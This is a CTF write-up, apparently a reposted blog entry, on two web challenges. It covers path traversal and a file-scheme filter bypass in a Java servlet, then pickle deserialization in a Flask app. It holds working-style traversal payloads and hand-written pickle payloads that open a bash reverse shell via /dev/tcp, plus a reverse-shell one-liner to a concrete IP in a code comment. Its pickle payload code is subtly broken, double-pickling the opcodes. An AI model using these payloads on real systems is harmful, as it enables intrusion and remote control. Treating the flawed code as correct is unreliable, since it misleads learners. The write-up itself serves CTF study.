長城杯CTF wp(web部分)


0x00 java_url

拿到題目,從題目看不出什么,只知道是java寫的,反復試了下,發現download過濾了flag關鍵字,既然可以下載文件,試了下任意文件下載,讀取到web.xml文件,從里面找到源碼文件路徑:

download?filename=../../../../WEB-INF/web.xml

在web.xml中看到com.test2.aaa1.download,急急忙忙去下載下來,看了半天沒找出來漏洞,沒看到上面那個真正有用的,錯失flag,下面是從大佬博客挖過來的testURL關鍵源碼:

  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String tartget_url = req.getParameter("url");
    String pri = tartget_url.substring(0, tartget_url.indexOf(":"));
    if (pri.matches("(?i)file|(?i)gopher|(?i)data")) {
      resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
    } else {
      //如果第一個:前不是file|gopher|data,可以實現任意文件讀取
      resp.getWriter().write(String.valueOf(getContent(tartget_url)));
    } 
  }

於是構造payload,讀取flag:

/testURL?url=url:file:///flag	# 常規繞過
/testURL?url=%00file:///flag	# 抓包,%00截斷

0x01 ez_python

題目描述給了環境,是用的flask,於是嘗試SSTI,沒有成功,於是換了個思路,嘗試任意文件讀取,成功:

?pic=/etc/passwd
?pic=/proc/self/cmdline		# 讀取到當前工作目錄:/app/app.py
?pic=/app/app.py			# 讀取源碼
?pic=/proc/self/cwd/app/app.py	 # 也可以用cwd切換到當前工作目錄
  • /proc目錄
    /proc目錄通常存儲着進程動態運行的各種信息,本質上是一種虛擬目錄。如果查看非當前進程的信息,可以對pid進行窮舉,如果要查看當前進程,只需/proc/self/代替/proc/[pid]/即可。在cmdline中可以讀取到當前進程的工作目錄。

app.py:

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0',port=8888)# bash -i >& /dev/tcp/112.74.89.58/37051 0>&1

可以發現,check函數過濾了R指令。於是學習了下Python的反序列化,不能說是一知半解,就只能說是一竅不通了,於是手寫payload,使用'R'指令的常規版本:

import pickle
import base64
import os

s = b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
tR.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)

# 把s拆出來講一下:
cos		# c<module>
system	# <callable>
-- 引入os模塊中的system,並將其push到當前棧stack中
(S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# (<args>
-- 將當前棧stack存到前序棧metastack中,清空當前棧stack,再將String壓入當前棧stack
t
-- 將當前棧中的值(也就是上面的命令)pop出來並轉為tuple,把前序棧metastack還原到stack中,再將tuple壓入當前棧stack
R
--pop當前棧stack棧頂記為args、pop當前棧stack的棧頂記為f,執行f(args),將結果壓進當前棧stack中
.	# tR.
--.代表結束,返回當前棧頂元素

但很明顯,由於R指令被過濾,這樣的payload會被服務器過濾,於是使用o指令繞過的版本:

import pickle
import base64
import os

s = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'
o.
'''
payload = base64.b64encode(pickle.dumps(s))
print(payload)

# 把s拆出來講一下:
(cos	# (c<module>
system	# <callable>
-- 引入os模塊中的system,並將其push到前序棧stack中
S'bash -c "bash -i >& /dev/tcp/xxxxx/xxxx 0>&1"'	# <agrs>
-- 將String壓入前序棧metastack
o
-- 將前序棧metastack中的值push到棧stack中,並創建實例化對象os.system('bash ...')
.	# o.
--.代表結束,返回當前棧頂元素

抓包,將payload寫入到Cookie['user']中,反彈shell。

0x03 參考文章


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM